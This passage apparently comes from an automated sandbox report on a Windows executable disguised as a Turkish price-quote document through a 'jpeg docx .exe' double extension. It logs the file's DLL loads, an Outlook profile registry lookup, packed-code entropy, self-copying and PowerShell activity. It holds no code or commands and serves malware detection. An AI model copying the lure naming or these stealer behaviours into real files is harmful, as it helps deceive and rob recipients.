Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Accessibility.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.pdb4 source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Accessibility.pdbar source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdbp source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WERADDE.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERADDE.tmp.dmp.8.dr

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C4840E push es; retf C480h		5_2_06C48440
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C4C1BA push es; ret		5_2_06C4C1C0

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: section name: .text entropy: 7.859436491693461

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File created: \fiyati_teklif 65tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File created: \fiyati_teklif 65tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File created: \fiyati_teklif 65tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File created: \fiyati_teklif 65tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx .exe	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	File created: \fiyati_teklif 65tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx .exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
